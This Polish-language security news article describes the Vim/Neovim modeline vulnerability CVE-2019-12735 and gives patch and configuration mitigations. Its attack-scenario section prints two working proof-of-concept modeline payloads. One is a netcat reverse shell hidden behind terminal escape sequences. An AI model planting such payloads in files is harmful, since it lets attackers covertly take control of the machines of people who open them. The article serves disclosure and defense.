Menu dostępności

Linux zhackowany przez otwarcie pliku w edytorze Vim lub Neovim!

Od jakiegoś czasu zaobserwowaliśmy trend w szukaniu „dziur” w prostych aplikacjach wbudowanych w system operacyjny. Nie tak dawno, bo w zeszłym tygodniu pisaliśmy o odkrytej podatności w aplikacji Notatnik w Windows umożliwiającej wykonanie zewnętrznego kodu (np. uruchomienie cmd.exe). Dzisiaj mamy dla Was nową ciekawą podatność związaną również z edytorem tekstowym, ale tym razem na Linux.


Użytkownicy Linuksa, strzeżcie się!

Jeśli nie zaktualizowaliście ostatnio swojego systemu operacyjnego Linux, zwłaszcza narzędzia Vim i NoeVim do edycji tekstu dostępnych z wiersza poleceń lub nie wyłączyliście w nich odpowiedniej funkcji, nie próbujcie nawet przeglądać zawartości plików za pomocą tych aplikacji! Można przejąć zdalną kontrolę nad Linux!

Z podatnościami związanymi z edytorem Vim mieliśmy do czynienia już dużo wcześniej. Niedawno kolejną odkrył researcher bezpieczeństwa Armin Razmjou. Tym razem luka polega na wykonywaniu dowolnych poleceń systemu operacyjnego o wysokim stopniu złośliwości (CVE-2019-12735) w aplikacji Vim oraz NeoVim – czyli w dwóch najbardziej popularnych aplikacjach do edycji tekstu dostępnych z wiersza poleceń (konsoli tekstowej), które są fabrycznie zainstalowane w większości systemów operacyjnych opartych na systemie Linux. W systemach Linux edytor Vim umożliwia użytkownikom tworzenie, przeglądanie lub edytowanie dowolnego pliku, w tym tekstu, skryptów programistycznych i dokumentów. Neovim jest rozszerzoną wersją Vima z bardziej wzbogaconymi funkcjami dla użytkowników, wtyczkami i GUI. W niej również występuje luka polegająca na możliwości wykonania złośliwego kodu.


Błąd wykonania kodu w Vimie i Neovimie

Razmjou odkrył lukę w sposobie, w jaki edytor Vim obsługuje „modeline” czyli funkcję, która służy do automatycznego wyszukiwania i pozwala określić niestandardowe opcje edytora na początku lub końcu pliku. Funkcja ta jest domyślnie włączona i stosowana do wszystkich typów plików, w tym zwykłych plików *.txt. Na przykład, jeśli umieścimy następujące polecenie w ostatnim wierszu programu w języku C to podczas edycji tego pliku otrzymamy szerokość tekstu wynoszącą 60 znaków:

/* vim: tw=60 ts=2: */

Zmienna modeline ustawia także liczbę linii (na początku i na końcu każdego pliku), które vim sprawdza w momencie inicjalizacji pliku.

Standardowo, jeśli plik zawiera niebezpieczne wyrażenie system Linux ze względów bezpieczeństwa używa do ochrony wbudowanej piaskownicy i zezwala tylko na wywołanie podzbioru funkcji dostępnych w modelinę. Razmjou ujawnił możliwość ominięcia zabezpieczeń (piaskownicy) w momencie, gdy użyje się polecenia „:source!” (z modyfikatorem na końcu w postaci wykrzyknika [!]).


Scenariusz ataku z wykorzystaniem modeline

Poniżej przedstawiono dwa przykłady (wywołania modeline):

1. Pierwszy przykład umożliwia uruchomienie polecenia „uname – a” z poziomu pliku tekstowego otwieranego w vim na systemie Linux: :!uname -a||” vi:fen:fdm=expr:fde=assert_fails(„source\!\ \%”):fdl=0:fdt=

2. Drugi przykład pokazuje powagę zagrożenia i pozwala na wykonanie polecenia netcat i połączenia się ze zdalnym komputerem używając powłoki reverse shell \x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\’nohup nc 127.0.0.1 9999 -e /bin/sh &\’) | redraw! | file | silent! # ” vim: set fen fdm=expr fde=assert_fails(\’set\\ fde=x\\ \\|\\ source\\!\\ \\%\’) fdl=0: \x16\x1b[1G\x16\x1b[KNothing here.”\x16\x1b[D \n

Poniżej prezentujemy demo do opisanego scenariusza:

Potencjalne zagrożenie polega na otwarciu niewinnie wyglądającego specjalnie spreparowanego pliku przy użyciu Vima lub Neovima i może pozwolić atakującemu na potajemne wykonywanie poleceń w systemie Linux i przejęcie nad nim zdalnego sterowania!


Jak sobie radzić z problemem?

Przede wszystkim pobrać dostępne już łatki na aplikację Vim oraz Neovim:

  • Vim patch 8.1.1365
  • Neovim patch (released in v0.3.6)

Oprócz łatek na aplikacje zalecane jest:

  • wyłączenie funkcji modelines w edytorze Vim (opcja set nomodeline)
  • wyłączenie możliwości użycia wyrażeń w modelines dla modelineexpr
  • użycie wtyczki securemodelines.

W celu sprawdzenia czy masz wyłączoną funkcję modeline uruchom w Vim polecenie: :set modeline? Jeśli aplikacja Vim zwróci nomodeline to nie jest podatna na opisywane wyżej zagrożenie.

Popularne

Jak zmienić nieznane/zapomniane hasło Administratora na Windows?

Jak zmienić nieznane/zapomniane hasło Administratora na Windows?

W tym artykule pokażemy, jak możemy zmienić hasło administratora na komputerze posiadając do niego fizyczny dostęp. Artykuł ten można potraktować także jako przestrogę dla firm, które nie zaimplementowały jeszcze odpo...
Jak poznać hasło administratora lub użytkowników logujących się do Twojego komputera?

Jak poznać hasło administratora lub użytkowników logujących się do Twojego komputera?

Jeśli masz odrobinę szczęścia lub „odpowiednie umiejętności” i potrafisz zdobyć lokalne uprawnienia administracyjne na Twoim komputerze w firmie lub zaliczasz się do grona tych szczęściarzy, którzy pracuj...
Jak awaria Azure Front Door rzuciła cień na globalne usługi chmurowe

Jak awaria Azure Front Door rzuciła cień na globalne usługi chmurowe

W środę 9 października użytkownicy platformy Microsoft Azure na całym świecie doświadczyli poważnych zakłóceń. Wiele usług stało się niedostępnych, a administratorzy nie mogli nawet zalogować się do portalu...
Zero-day i groźna eskalacja uprawnień w systemie Windows –  analiza CVE-2025-59230 i ostrzeżenie CISA

Zero-day i groźna eskalacja uprawnień w systemie Windows –  analiza CVE-2025-59230 i ostrzeżenie CISA

Ostrzegamy wszystkie firmy i instytucje przed nowo ujawnioną luką w systemie Microsoft Windows – CVE-2025-59230. Jest to poważna podatność, umożliwiająca lokalnemu atakującemu z niskimi uprawnieniami uzyskanie...
Czego nie mówi Broadcom? Luka w VMware jest banalna do wykorzystania i korzysta z niej co najmniej jedna grupa hakerska!

Czego nie mówi Broadcom? Luka w VMware jest banalna do wykorzystania i korzysta z niej co najmniej jedna grupa hakerska!

Niedawno załatana wysoce poważna luka w zabezpieczeniach VMware jest wykorzystywana jako zero-day od października 2024 roku do wykonywania kodu z podwyższonymi uprawnieniami. Taką informacją podzieliło się w...